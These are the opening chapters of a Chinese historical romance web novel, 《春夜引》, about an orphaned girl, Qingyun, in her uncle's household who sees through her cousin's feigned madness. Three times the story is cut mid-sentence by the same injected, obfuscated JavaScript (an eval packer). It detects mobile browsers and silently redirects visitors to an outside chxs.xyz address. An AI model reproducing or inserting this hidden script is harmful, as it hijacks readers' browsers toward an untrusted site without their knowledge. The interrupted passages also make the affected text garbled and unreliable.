《春夜引》 1. 第一章 “小时候每逢清明,莲婆就要带我去码头看会船,河里乌泱泱全是船,码头也是挤挤攘攘的人群。待它们竞划起来,岸边人跟着飞跑,如箭一般。” “有一次,莲婆带我跟到了一处山头,只见到处都是无主孤坟,大家都在给他们插柳条、奠浆酒。我不懂这些,便跟着烧纸钱,烧着烧着,不知哪儿就起了一场火,险些把我裹进去。我傻了般,竟就站在原地不知动弹,还是旁人见了,忙一把拉开我,才只伤了条手。” “你瞧,到如今胳膊这儿还有块印迹。” 正轻声述说往事的女孩儿捞起袖口,指向左臂肘节,倘若定睛一看,就能发现整条手臂光滑细腻,毫无痕迹。但她恍若未觉,仍在与人低语,“那时候猗猗你还没来家里,自然是不知道这件事的。” 她笑起来,“莲婆吓坏了,连夜带我去大金佛寺,说是撞了邪要找佛祖庇佑。” “那些僧人围团作法,给我蒙上红布招魂,可他们不知,隔着红布看到的那幢幢树影,比那场火可怕多了。” 说着说着,她神情又恍惚起来,双目空洞洞望向房梁,倚在榻上的身躯微微前倾,手臂下垂,一截湘妃色衣袖随之坠在地面。分明是极衬人气色的衣衫,穿在她身上却于事无补,姣好的面容此刻憔悴无比,眼下一圈青黑,肤色苍白,眼神茫茫。 正是一副“撞邪”的模样。 直面这些异状的清蕴面不改色,轻握住女孩儿的手,温热的触感让对方回神,“怎么了?” “大姐姐又做梦了罢。”清蕴递去一杯蜜水,“京城附近哪有什么大金佛寺呢,想来是看的书里有这个地方,才叫你无意间梦见。” 她柔声说:“清明会船的习俗,我倒是听说过,在江浙那一带才有,应是大姐姐听哪位长辈提起过,和儿时记忆混淆了。” “……是这样吗?” “自然是。”将她的手放回榻上,清蕴盈盈含笑,淡然的模样很能说服人,“你近日病了,时常都在歇息,觉多易梦,不奇怪,待病愈就好了。” 女孩儿神思混乱,对她的话半信半疑,于是姊妹俩又说了好些话,直到小半个时辰后,清蕴才走出这间闺房。 候在外间的女使白芷迎来,为她系上云肩,细声道:“外间风大,天色也暗了,姑娘注意脚下。” 清蕴嗯了声,随她出门。 来时霞光漫天、浮云悠悠,踏出门槛时,风灯都已燃起,隐约可见庭院四周粉墙高筑。 游廊下立了道人影,清蕴脚步一转,朝她走去。 “天色已晚,舅母回去歇息罢,令娴姐姐刚才也已睡了。” “我怎么睡得着。”郑氏面露苦涩,“盈盈病成这样,已是神志不清满口胡话了。我方才去听过,她自幼在京中长大,哪儿去过江浙,见过什么大金佛寺啊。莫不是真像她说的那般,撞邪了不成?我、我可去哪儿给她招魂呐……” “子不语怪力乱神,撞邪一说本就是无稽之谈。”清蕴面色如常,“令娴姐姐只是入秋偶感风寒,病了而已,病人的话怎能当真?那些所见所闻,无非是她往日听人说过,或在书中看过罢了。” 随后轻轻摇头,“记得混了,便以为亲身去过,才会说出那些话。舅母您是关心则乱,回头仔细一想,也能明白过来。” 她说话时,郑氏一直在仔细打量,观她神色不似作伪,才微微放下心来。这孩子年少不惧鬼神,又不知道莲婆的存在,所以没有多想罢。不像她,一想起莲婆是在女儿三岁那年年病逝,就不禁毛骨悚然,都有些分辨不出女儿到底是病糊涂了,还是真遇到了一些神鬼莫测之事。 不管如何,病了总比撞邪或疯了好。 握紧清蕴的手,郑氏道:“好孩子,你大姐姐说的这些话可千万别说给旁人听,尤其是你大舅舅和外祖父母他们,他们操心的事已够多了,不能再烦扰他们。” “我省得,放心罢舅母。” 得了保证,郑氏幽幽叹声,“这样的事,本不该叫你掺和进来。可你们姊妹情谊深厚,先前盈盈在病中,也总是唤你的名字,我才请你来安抚她,哪成想到了这种地步,身子好些,脑袋却发起蒙来。” 又切切道:“你虽不是我儿,但来家里这些年,早叫舅母当成亲生的孩子般看待了,所以也总想着,亲姊妹没什么可见外的,倒叫你这段时日奔波受累。做长辈的,真是愧对你。” 靠得近了,面前女孩儿那张秀丽绝伦的脸在灯火下愈发清晰,黛眉似墨,肌肤如玉,正是灵动鲜活的好模样。由此想到躺在病榻上形容憔悴的女儿,本是说些场面话的郑氏悲从中来,险些再度泪流满面。 “这些年全承外祖父母和舅舅舅母关爱,怎好说愧对二字,本就是我该做的。”清蕴微微一笑,续说了抚慰的话,令郑氏惶惶的心终于有些安定。 饶是因家中长辈一直偏爱这个外孙女,而隐隐对清蕴不喜的郑氏也不得不承认,这个孩子的言谈举止、待人接物实在没什么可挑剔的,无怪府里府外那么多人喜爱。便是此刻,她不也在这儿寻求慰藉么。 天色愈晚,郑氏敛了悲色,“你还没用饭,误太久对身子不好,快回去罢,我再去看盈盈一眼就走。” 清蕴应是,唤回白芷,在郑氏目送下步出这片僻静之地。 王家在京城扎根百余年,府邸代代传承,或修或扩,到如今着实占了不小面积。除却不能逾制之处,其余地方处处彰显世家气派,所以连一个寄居的外孙女,也能在府里得一片独居的院落。 清蕴的居处名为朝云榭,外祖母亲自所取,饱含着对外孙女的关爱。院落不大,但布局精巧,打理得井井有条,甫一入门,便是花木葳蕤的景象,月色下愈显幽静雅致。 女使白兰笑着迎她,“料想时辰晚了姑娘不爱用饭食,就请汤婶煮了碗醪糟,若是不够,还备了茯苓糕,姑娘可还有什么想吃的?” 清蕴摇头,回头让她们去歇息,走进内室。 褪去外衣,披上闺房常着的水青长衫,半松发髻,在四方桌前不紧不慢地享用醪糟,就着灯火展开信笺。 纸上简单记载了两人的出身、品貌,分别为齐国公世子李秉真和天泽七年的探花郎周墨。 前者是舅母为王令娴看中的郎君,后者则是王令娴的心上人。 其实出身名门,得长辈爱重,又无磨难的闺阁女孩儿,哪有轻易得癔病或疯症的理由,王令娴更是如此。不过是得知家中有意为她和齐国公世子说亲,自己却与新科探花互生情意,无法明着反抗长辈命令,才想出来的大胆之举。 早在一月前,清蕴就无意撞见过这位表姐和人幽会的场景。她那时候随意掠过了一眼,只作不知。 某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一意孤行瞒着母亲的原因也很简单,因为那定是狂风暴雨般的大怒,不会给一点缓和的余地。譬如她儿时为给母亲做生辰礼而未去练字,被发现后,母亲根本不听解释,强势地领她到先生面前认错,即便先生连声说已经告假了也不予理会,让她当着来往兄弟姊妹的面前罚站两个时辰,那种羞辱感自不必说。 类似的事情,从小到大不知发生过多少次。她面上柔顺,但心底却是愈发不愿与母亲说话了,正如这次。 母亲重视脸面,没有把她疑似得癔症之事大肆宣扬,连父亲、兄长和祖父母都被瞒着,家中能够接近她的只有寥寥几人。 唯一令她捉摸不定的是表妹清蕴。 清蕴素来聪慧,又观察入微,有好几次,她总觉得表妹那清凌凌的目光已看透了自己,只是没有言语戳穿。她试探过,使小脾气般胡闹,但清蕴从不气恼,当真哄病人般耐心细致对她,叫人难以确定,心中也生了愧疚。 无论如何,清蕴在这家中与她最要好,姊妹情深,即便察觉她是装傻,想来也会帮她瞒着罢。 左右睡不着,王令娴起身半倚在床边看书,只是心浮气躁,字句无法入眼。她干脆下榻,取出纸笔,预备再问问周郎那边如今是什么状况。母亲如今慌了神没有细查,待她反应过来发觉情况有异,恐怕会横生波折。 三字落笔,身后突然传来声响,叫王令娴手腕微颤,斗大墨渍立刻晕染纸背。 “盈盈。”郑氏声音在屋内幽幽响起,“原来一个人得了癔症,也能看书,还能写字。” 2. 第二章 深夜寂寂,秋雨凉凉,恰如王令娴此刻心境。心跳声几乎在瞬间冲破耳鼓,又慢慢回落,被发现了,还是被母亲发现,有种惊惧又无奈的感觉。唇角颤动半晌,终是回过头,扯出一抹似笑似哭的神情,眼眸跟着瘦削的肩下垂,“娘……” 猜想得到证实,郑氏胸中长舒一口浊气,三步作两步踏来,仅看到纸上被晕成一团的墨渍,扫视一圈,注意到女儿微颤的身躯,仍没有放缓语气,“如果不是我今晚察觉了,你准备装到什么时候?又是要给谁写信?” 王令娴不语。 素来乖巧守礼的大家闺秀,若是已经做过了装疯卖傻这种事,再装聋作哑也不是很难。母亲没有诘问其他,仅是发现了装病之事,她便打定主意不吐露任何实情。母亲的性情,她再了解不过,若是知晓她与他人有了私情,直到嫁人前她都别想再出门。 面对被锯了嘴似的女儿,郑氏实在忍不住,狠狠一掌扇去,扇得王令娴头瞬间甩向一侧。她却没有哭叫,仿佛早料到这一遭,除去被打出的泪花外,人仍木然坐着。 郑氏厉声斥道:“到了如今还要欺瞒,你还认不认得我这个娘!大半个月来,家里为你的事又急又愁,忙得团团转,你竟没有一丝良心,干看着我们着急?我整夜整夜睡不着,泪都流干了,四处去求神问佛,恨不得上苍把病痛都降给我。谁能料到,我的好女儿竟是装的,全然不顾家里人如何!” “现在就给我好生把原委说清,不然其他长辈那儿知晓了,可不是这个场面,知不知道?” 被一番连声斥骂威胁,王令娴身子颤得愈发厉害,可面对神色恨恨、步步紧逼的母亲,仍紧咬牙关,半天道:“我不想说。” 郑氏怒火腾然升起,竟不知女儿如此油盐不进,“还不想说?你可知这种事传出去会有什么影响?好好的大家闺秀疯了,旁人怎么猜想?家里人如何自处?你爹爹、兄长、家里的兄弟姊妹都要受你所累。我竟不知生了这么个孽障!” 依旧沉默。 但做母亲的,如何会没有对付她的手段。先前郑氏因女儿突病失了沉稳,如今理智回归,迅速恢复当家主母的威风,“这样的事,你一人必做不出来,还有谁在帮你,陆清蕴?还是王令嘉?” 王令娴虽未回应,郑氏已从她的反应中看出答案,“看来没有她们二人,是素桃罢。” 王令娴僵住,素桃正是她最信任的贴身女使。 “一介下人,竟不知劝谏主子,跟着糊涂行事。这种不忠心的奴才,我立刻发卖了去!” 她作势起身,见女儿仍不张口,便一狠心走到门前,刚要推门,王令娴终于喊道:“你非要这么绝情吗,娘!” “绝情?”郑氏只觉好笑,“你做出这样的事,倒说我的不是?” “口口声声为我好,娘又什么时候真正替我想过!”王令娴抬高声音,“那齐国公世子体弱多病,注定时日无多,你要把我嫁过去,还不是因为齐国公府位高权重,这场婚事能帮爹和哥哥官运亨通!” ** 后半夜落了场雨,清蕴醒来的时候,庭院已是满地桂花,荡出金灿灿的波光。 外祖母去寺庙礼佛了,无需例行请安,她简单梳洗后,就直接坐在窗边用起早饭来。 面前摆着茶汤和一碟羊肉包子,都是厨房汤婶感谢她帮小孙女请大夫而开的小灶。茶汤是以秫米面、糖、桂花卤打底,再用沸水冲泡制成的小吃,甜香可口。羊肉包子更别说,摆在面前便有羊肉、香料混合的香味扑来。二者搭配得恰到到处,可见用心。 白兰服侍在侧,便和她说一些在府里的见闻,偶尔得两句回应,氛围颇为松快。 跟着她的两个女使,白兰擅与人交际,能言善道,总能知晓一些秘闻。白芷内敛些,不算精明,但论忠心程度还要更胜一筹,能够守口如瓶。 用得差不多时,白芷进门,“姑娘让注意西院的消息,我一早守在了那边。大夫人刚把府务交给了几个管家和二夫人,说是大姑娘贪凉加重病情,要亲自搬去竹院照顾。” 清蕴沉吟,依昨天王令娴的状况来看,除却装出的癔症外,身体应当无事。目前齐国公府和周家也没有任何动静,她没有任何必要“加重病情”。 思及离别时郑氏朝竹院久久凝望的模样,她心中有了猜测。 “请了大夫吗?” “到荣中堂请了大夫,二夫人提议去请太医,被拦住了,说是没那么严重。” 清蕴起身,“我去看看罢。” 尚未踏进竹院,就不出意外地被拦住,郑氏身边得用的何妈妈守在外边,“感念陆姑娘关心,只是大夫说了,姑娘这回得少见人,既是避免愈发严重,也是怕旁人过了病气。有什么话不如让我代传,或等姑娘好了再来。” 目光微转,往常守门的几人都不见踪迹,王令娴的贴身女使素桃也消失无踪,清蕴的猜想肯定了八分,“既是大夫嘱咐,我就不打扰了。那舅母呢,可方便去看看?” 何妈妈摇头道:“夫人没事,只是如今一心忙着照看姑娘,实在无暇顾及其他,也不便见人。” 清蕴目露忧色,“舅母操劳,何妈妈记得提醒她保重身体。” 何妈妈一再颔首,态度很和善。她心里清楚,夫人并不喜欢陆姑娘,早先还曾明着针对过,这大半年因长辈态度好了许多,暗地里还是一样的。 但这不至于叫她故意摆脸色,陆姑娘是阖府夸赞的闺秀,出了名的好性儿,这些年在府里就没和人红过眼,还时常会给她们一些吃食衣料之类,遇着难处去寻她,也时常能得到帮助。 连夫人曾做过那样的事,她也完全没放心上,可见心胸宽阔,所以何妈妈打心眼里喜欢这位。 时常在夫人身边服侍,她还看得出三郎对陆姑娘有意,可惜夫人不同意。 回到朝云榭,清蕴在院子里待了会儿,慢条斯理地浇花剪枝,亲手侍弄好这些花木,才换了身衣裳,“我过一刻钟出门,去叫陈危来。” 陈危是府里陈管家的亲侄子,当初清蕴孤身来京,就是叔侄俩去接的她。途中恰逢山石崩塌,陈管家护主受伤,落下记不清事的毛病,被王家放在别庄里休养,陈危则继续留在王家,清蕴外出时一般都带他。 没多长时间,人已经进院。 陈危立在三步外,也不出声,只等她的吩咐。 单论外貌,他仍是个尚未及冠的少年,英气的脸庞犹存青涩。但若触及他那双眼,谁也不会觉得他是个莽撞冲动的毛头小子,目光沉如深湖,轻易难起波澜,身姿笔挺挺地伫立原地,令白兰多扫了几眼。 “听说你前段时间都在学刀,练得怎么样了?” “还行。” 白兰听着笑了,“你真谦虚,我听说师傅都夸你是武学奇才。” 陈危没说话。 清蕴瞧了眼他腰间木刀,“走罢,顺便出门给你找把称心的武器。” 说完让白兰留家,示意他和白芷跟上,驾车往绸缎铺驶去。 天子脚下,寸土寸金,要想在这儿拥有一家铺子绝非易事。清蕴手中这几家还是当初母亲出嫁时家里给的嫁妆,因是嫁往外地,几间铺子就仍由王家派人打理,定时送银钱去。待她双亲离世,人也被接到京城来,铺子就自然而然转到她名下。 她快及笄时,王家就把几个铺子彻底交给了她打理,掌柜等一应角色任由她选换,当前掌柜是清蕴亲自聘来的生意老手,彭有财。 彭掌柜面相亲和,身形略带富态,整日笑呵呵,唯独眯起眼时才见几分犀利,“月余未见,姑娘愈发气度不凡,方才竟不敢认了。” 他的嘴总能把人夸出花儿来,清蕴微微一笑,边往内走,边听他陈述几间铺子近期的状况。 “新上的茶戏在茶楼里很受欢迎,这月盈利赶得上前半年。”彭掌柜奉上账册,“全赖姑娘指教有方,米铺、绸缎铺和茶楼如今都是盈余。” “如今铺子全交给了彭掌柜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659642|156685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能有这种好气象,自然都是您的功劳。”清蕴仔细看了会儿,“这月赏钱都翻一番,至于哪些掌事伙计该赏,就由彭掌柜定夺。” 彭掌柜应是,也没想着独断,而是奉上准备赏罚的名单,各自依据分明,清蕴简单扫了几眼,没有异议。 一路边走边说,很快到了铺子后的独栋小楼。让白芷陈危守在门外,清蕴转过屏风,一眼瞧见彭掌柜为她准备好的册子与画像。 “依姑娘吩咐,查了这六位小郎君。”彭掌柜斟茶,“明面上能够打听到的消息都在册中,暗地里不为人知的,也尽量打探了。目前看来,都是年纪、才貌恰好,既无婚配,也无恶习,前途不可限量的佳公子。” 清蕴嗯一声,倚在靠背上慢慢地翻阅册子。袅袅茶雾升腾,半笼住那一笔翠黛,模糊了神情,却愈显容色清灵,恰如一幅浓淡合宜的水墨画,令人目光流连。 从旁候了会儿,单看她漫不经心的态度,彭掌柜就知道这六人都不大能入其眼,开口道:“耳听为虚,眼见为实。其实册中所陈、画像所描都不一定比得上本人风采,何况性情如何,还是要相处过才有体会。姑娘若有意,我去安排一番?” “不必。”清蕴把册子放到一旁,“选人不比挑珠宝首饰,他们外在卖相如何,粗略了解就够了,具体如何我并不在意。再者,有些人也并非见几面就能看透。” 彭掌柜微怔,品味那“卖相”二字,觉得用在择婿一事上,既有趣又别致,“姑娘说的是。” 静了会儿,清蕴问:“你可了解天泽七年的探花?” “天泽七年,周探花?”彭掌柜混迹市井多年,很有些人脉,算得上小百事通,很快反应过来,“这位周探花三年前在金銮殿上可是名声大噪,因着结识了柳阁老,便没有外放去当县官,而是进了吏部,仕途之顺连状元郎都比不上。当初不知多少人家找他说亲,都被他以早有婚约给拒了。不过……后来不知发生何事,又从吏部转到了鸿胪寺,如今是没什么消息了。” 彭掌柜还当姑娘对这位探花郎感兴趣,正想多说两句,又听她问,“齐国公府呢?” 怔了怔,他回想道:“齐国公曾以军功封侯,尚镇国大长公主后不久晋封国公,如今手握十万兵权,长女在宫中为妃,这些是众所周知的事,没什么可以说道。齐国公世子向来体弱多病,深居浅出,除却前几年一篇文章惊天下外,也没听过什么。倒是关于齐国公及其夫人,我这儿有些不便外传的小道消息,姑娘听了,真假可要自辨。” 得了应允,他道:“传闻齐国公早有爱妾,尚主后也不曾遣散,且多有偏爱,国公府的后院里,名义上一度有两位主母。直到十多年前,这位宠妾突遭恶疾,慢慢没了消息,外人说起齐国公夫妇二人,就都道恩爱有加了。” 短短几句话,供人遐想的余地很多。不过豪门大族多密辛,清蕴听了也没多意外,“大长公主性情如何?” “据闻很是蛮横,敢与天子争锋。”彭掌柜笑了笑,“这位殿下可是能够亲自领兵作战的主,其长女又嫁入皇家,既是天子姑母,也是岳母,有些脾气不足为怪。” 他补充道:“近几年大长公主也迷上了求神拜佛,京城附近凡有名望的高僧都拜访过。姑娘常去那家寺庙的法显禅师,正是大长公主的座上客。” 突然,他又想起一则秘闻,凑到清蕴耳边低声说了句话,让她讶异地睁大眼,“当真?” 彭掌柜神秘微笑,“小道消息罢了。” 若有所思片刻,清蕴没再继续这个话题,和彭掌柜重新讨论起生意上的事。 论生意经,彭掌柜绝对算得上佼佼者。他路子也多,三教九流都能找到人脉,虽然势力爱财了些,在清蕴看来,不过是无伤大雅的小毛病。 不知不觉间消磨了一个上午,清蕴在这儿用了顿午饭,随后去打铁铺帮陈危定了把刀,买了些送人的物件,正准备归家时,马车停下。 陈危出声,“是三公子。” 3. 第三章 话音刚落,外边也传来问候,“是陆姑娘吗?” 掀开车帘,着一身竹青直裰的男子立在马车三步处,身材高大,气质冷峻,正是大舅母郑氏第二子王宗赫。他和王令娴是同胞兄妹,在王家孙辈儿郎中行三,故被称作三公子,出声询问的是他的书童疏影。 “三哥。”清蕴轻步下车,笑道,“今天怎么有空上街市?” “国子监从明日开始休沐,得了几天假,我正要回家。”王宗赫解释,扫一眼她的马车,“还有什么事要办,可需帮忙?” 清蕴摇头,说也准备归家,疏影立刻道:“小的瞧陆姑娘马车上堆了好些物件,不如乘我们这辆,反正大得很,坐五六人都绰绰有余。” “不用,正好这些东西也要理一理。你们先走罢,我们就跟在后面。” 王宗赫未置一词,点点头就上了马车,唯独疏影难掩遗憾。 早在几年前,公子和陆姑娘还没这么客气。尤其是陆姑娘刚来府里头几年,疏影几乎是看着自家寡言少语的公子日渐开怀起来,凡陆姑娘所在,总能瞧见公子身影。兄妹情深也好,少年慕艾也罢,总归是好事。偏偏大夫人不这么想,对公子三申五令,不许他亲近陆姑娘,若是俩人多说几句话,回头就会责罚公子,还威胁要把陆姑娘赶回江苏。 时日久了,公子和陆姑娘逐渐疏远,他也变得愈发冷漠内敛。及至那件事发生后,连家都很少回了。 马车行使间,王家大门已至,门房瞥见这两辆马车,再仔细瞧人,立马“哎呦”了声,乐呵呵迎来,“巧了不是,三公子和陆姑娘也回得这么及时。老夫人正好半个时辰前回府,您二位赶紧去罢,定都在聚着呢。 兄妹俩对视一眼,同说了声“好”。 ** 清蕴的外祖母秦夫人出身将门世家,是老威侯之女。她喜欢礼佛,每年都要去寺庙住几回,十天半月不等,这回直接待了整月,府里小辈当然都要去请安。 走到月洞门前,清蕴自然而然和王宗赫分开,“三哥先去罢,我在外整日,得先去更衣才好拜见外祖母,劳烦你帮我说声。” 王宗赫理解点头,看着她离开后,又再原地站了会儿离去。 清蕴回了朝云榭,先喝杯茶水,再翻了几页书,随后将外衫一换,这才不紧不慢朝主厅去。 未入厅,已经见得乌泱泱一片,外间侯满仆从,见了她都笑着行礼。 清蕴的外祖父膝下三子一女,长子次子俱已成家,各自育有两子一女,算上她这个外孙女,孙辈便有7人。再加上儿媳妇孙媳妇等人,儿孙绕膝一词着实不是虚言。 不过秦夫人威严很重,向来不苟言笑,小辈们颇为敬畏,所以厅间虽然人多,却井然有序,并没有肆意笑闹声。 她到的时候,刚巧听到郑氏回话。 “起先是小咳,请大夫看过,说要静养,不然容易转成肺热,所以把人迁到了僻静的院子。”郑氏顿了下,接道,“本来快好了,可昨夜又不慎染了风寒,只能继续养病。我放心不下,如今正打算搬去一块儿好照看。” “孩子们年纪小,难免有不周到的时候,当长辈的要多留心。”秦夫人说,“无论什么病都不能拖太久,再过三日还不见好,就去请宫中太医。” 郑氏低头应是。 秦夫人转向二儿媳柴敏,“老二还有半年才能归家,令嘉和兴哥儿又小,你一人若照看不过来,多和我们说。都是一家人,不要见外。” 柴氏是继室,才到王家没两年,脸嫩得很,每回和婆婆说话都紧张不已,听得这堪称温柔的话,连连点头。 提点过两个儿媳,秦夫人又按长幼顺序一一和孙辈们说话。和其他人家不同的是,王家儿郎的学业最不用操心,个个天资聪颖,勤奋好学。上头两位公子都已经考取功名步入仕途,还在读书的王宗赫更是被断言有状元之才,所以秦夫人只关心了他们日常起居和身体。 等到清蕴时,她仔细打量了好一会儿,“长高些,仍是瘦。” 长辈见着疼爱的孩子,都会情不自禁说这些,刘妈妈笑,“长身子的时候,正抽条呢,瘦些也正常,康健就行。” 秦夫人也微露笑意,着人取来一枚兰花纹样的荷包,“凌云寺的平安符很灵验,从灵真大师那求了些,方才他们都拿了,这是你的。不用贴身带,放房里也行。” 建朝崇尚佛教,先帝犹盛。他不仅精通佛学,还著书立说,亲自登台讲经,甚至将禅师请入宫中一同起居,有时禅师一句话,都能左右国事。受他影响,本就香火繁盛的佛教在这些年更是到达顶峰,不管寺庙的平安符、姻缘符是否灵验,许多人家都愿意求一份。 几句话的功夫,下人们摆好了饭食请他们移步,氛围也慢慢轻快起来。表妹王令嘉特意凑到清蕴跟前说话,想打听大堂姐的消息,却只得一句“应是染了风寒”的敷衍回答。 她不满鼓腮,“大姐姐真是小病么,怎么休养这么久?且我瞧你们都有种神神秘秘的感觉。上午婶婶就奇怪得很,问我前段时间有没有和大姐姐出门,结识了什么人。真是明知故问,大姐姐整日被压着学女红、读书、管家,谁能拉她出去玩儿啊。” “你也说了她忙,若不是生病,大舅母又怎会叫她休养这么久呢?” 王令嘉被问住,眨眼想想确实如此,又总觉得哪里不对。不过她因幼时丧母很得长辈溺爱,仍是孩子心性,才琢磨会儿,就被清蕴几句话逗得眉开眼笑,早忘了来意。 借添菜的时机,清蕴把视线投向旁侧,瞧见郑氏眉眼郁郁,一副心不在焉的模样。 她应该已经发现王令娴有情郎一事,只不知是谁,不好直白地去问其他人,竟病急乱投医地问到王令嘉身上。 一大家子用过晚饭,秦夫人照旧留下清蕴,让她陪自己消食。 祖孙俩在花圃周围走了阵子,各自说些这段时日的见闻,提及清蕴祖父那边的来信,秦夫人问,“陆家说的什么?” “没什么大事,只说我许久没回江苏,祖父祖母多有思念,让我择日去看望。” “还有呢?” 沉默片刻,清蕴在秦夫人洞穿一切的眼光中开口,“说是为我谋了桩好亲事,刚上任的浙江巡抚,一月后就会进京述职,届时四叔会随这位巡抚同往,让我告诉外祖父母,一同做好准备。” 皱眉回想了下刚上任的浙江巡抚是哪位,秦夫人露出怒色,“才丧妻的老鳏夫,膝下还有一子,他们也敢给你说亲!这么多年都没来瞧过你,是哪里来的底气和胆子,拿你去讨人情。” 清蕴笑了笑没说话,秦夫人总觉得从这笑中看出了苦涩,怜惜更甚。 女儿出身已是富贵至极,女婿又有将才,在征战中屡建奇功,得封威武大将军。作为他们女儿的清蕴,却没能享受几分荣光,因为在她七岁那年,父母就双双离世了。 据她所知,陆家有四子,女婿在家中行三,并不受重视,即便得封大将军也不过是方便了兄弟们谋取功名利益。女婿离世后,其身后名所带来的荣耀、富贵尽数被陆家所得,女儿带去的许多嫁妆也被陆家把持。得了这些好处,他们却连三子留下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659643|156685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一双儿女都不好好抚养,以至小外孙染了天花早夭,清蕴在陆家也几乎无立足之地。 得知这些事后,她立马派管家去江苏接人,一留就是八年。 八年来,除却年节送些礼,陆家什么都没做过,在她看来,根本没有任何资格对清蕴的事指手画脚。 可在身份上,他们作为清蕴父亲一脉的长辈,安排她的婚事又的确天经地义。 秦夫人眉头紧锁,心中快速掠过京中一些人家,“先前我和你说的那几个,还着人理了册子,可都仔细看过了?有没有中意的?” 没等清蕴回答,她光打量外孙女神色,就知道没看上,“没瞧上罢,也不奇怪。这几人家世只能说一般,自身也没任何功绩。我是觉得他们家风清正、好相处,倒忘了多问问你的喜好。和阿嬷说说,可有什么想法?” 清蕴摇头,“目前还不好说。” 秦夫人当她害羞没追问,只叹了口气,“若不论其他,三郎就很好,他对你也向来关心。但我探过你大舅母的意思,她很不情愿,所以就作罢了。” 听出这话里询问的意味,清蕴立刻道:“都是兄弟姊妹,哪会有别的想法,三哥应该也一样。阿嬷可千万别提,错点了鸳鸯谱,来日见面都得避着走。” 秦夫人如何听不懂这意思,也清楚自己就算能让三郎娶清蕴,郑氏仍是个大难题。她要是成了清蕴婆母,磋磨这孩子的法子就太多了。 沉默之际,清蕴握住她双手,“您别一直为这事烦心,车到山前必有路,一个月的时间,谁知道会发生什么呢?再不济,我就是不听他们的,陆家又能拿我怎么办,强押我上花轿么?” 秦夫人终于被她逗出一丝笑意,心知是这么个道理,急也没用,“明儿我着人再理些册子来,仔细挑挑。” 清蕴一应说好,看出外祖母今日舟车劳顿已经累了,便把人送去歇息。 出了梅院,她也没急着回去。方才在席间吃了几杯黄酒,如今躁意还没完全散去,想再独自走走。 让白芷候在远处,清蕴独自在游廊漫步。 今夜无星无月,唯有悬在檐下灯笼绽出的几缕微光,夜风吹得灯笼摇摇晃晃,衣袂随之飘扬。走着走着,清蕴在廊柱旁停下,思绪仍停留在一刻钟前。 其实她考虑过陆家说的这门亲事。 这位新上任的浙江巡抚年过而立便能成为封疆大吏,执掌一省权柄,称得上年轻有为,前途不可限量。若非他和陆家有牵扯,其子又已通世事,她并不介意成为他的继室。 毕竟婚姻于她而言,不过利益之谋。能得真情厚意,是锦上添花。没有,也不算什么。 吹了会儿风,清蕴刚下阶唤白芷回去,转角处突然窜出一道急匆匆的黑影,没刹住脚,直直撞了过来。 白芷及时扶住了清蕴,看黑影结结实实摔倒在地,“你是哪个院子的,怎么大晚上这样匆忙?” “我,奴婢是厨房的帮工,家里人病了急着赶回去,没仔细看路,冲撞了陆姑娘,还请您原谅。” 来人细声细气地说话,声音又急,一时间根本听不出是厨房的哪位。白芷皱眉打量,可黑乎乎的夜里只能瞧个轮廓,看起来个子不高。 清蕴表示无事,注意到来人一身近似夜行衣的装扮,鼻间还嗅入了一丝若有似无的香气,颇为熟悉。 眸光微转,她问:“是圆儿吗?” 来人怔住,含糊应了一声。 “听说你母亲病了,着急也是人之常情。”清蕴点了点头,没再问话,直接和白兰转身离去。 4. 第四章 回朝云榭不久,夜雨就淅淅沥沥落了下来,清蕴梳洗过后很快上榻歇息。 今晚轮到白兰守夜,离开前,白芷随口问了句,“厨房的圆儿你认识吗?” “当然。”白兰笑着回答,“你有事找她么?她前几天回老家去了,要过阵子才回来。” 白芷嗯一声,说没什么,心里有了猜测。她以前也碰到过大晚上偷偷溜出去的人,不是出去赌钱,就是私会情郎,还有偷偷拿东西出去倒卖的。 总之和她们没关系,还是不告诉姑娘,省得她知道了自责。 ** 这场雨断断续续下了两天,除去请安外,清蕴都没怎么踏出过院子,难得懒怠地歪在美人靠上,临窗翻着一堆纸张。 奉秦夫人命令,刘妈妈找了好些少年郎,囊括之人极多,从寒门学子到世家子,应有尽有。慢慢看过去,很有种皇帝选秀的感觉。 白兰挑开卷帘时,就见到自家姑娘把纸张一摊,盖在脸上的模样,不由露出笑容。 没打搅她,轻手轻脚地进去添茶,越靠近胡床,一股幽香就越发明显。 她们姑娘擅长调香,但甚少用,这清幽的香气是源于博古架上那盆墨兰。寒露节气刚过,墨兰仍是盛放景象,给雪洞般的屋子添了丝生气。 屋内的陈设布置上,白芷总不能理解主子。院子里花团锦簇,闺房内却冷冷清清,她那小小住处都常放些喜爱的摆件玩意,这儿瞧着竟连一件多余的东西都没有。 每回只有瞧见姑娘后,才能真切感到这是女孩儿的住处。 “白兰。”清蕴声音从纸下传来,“陈危这两天来过吗?” 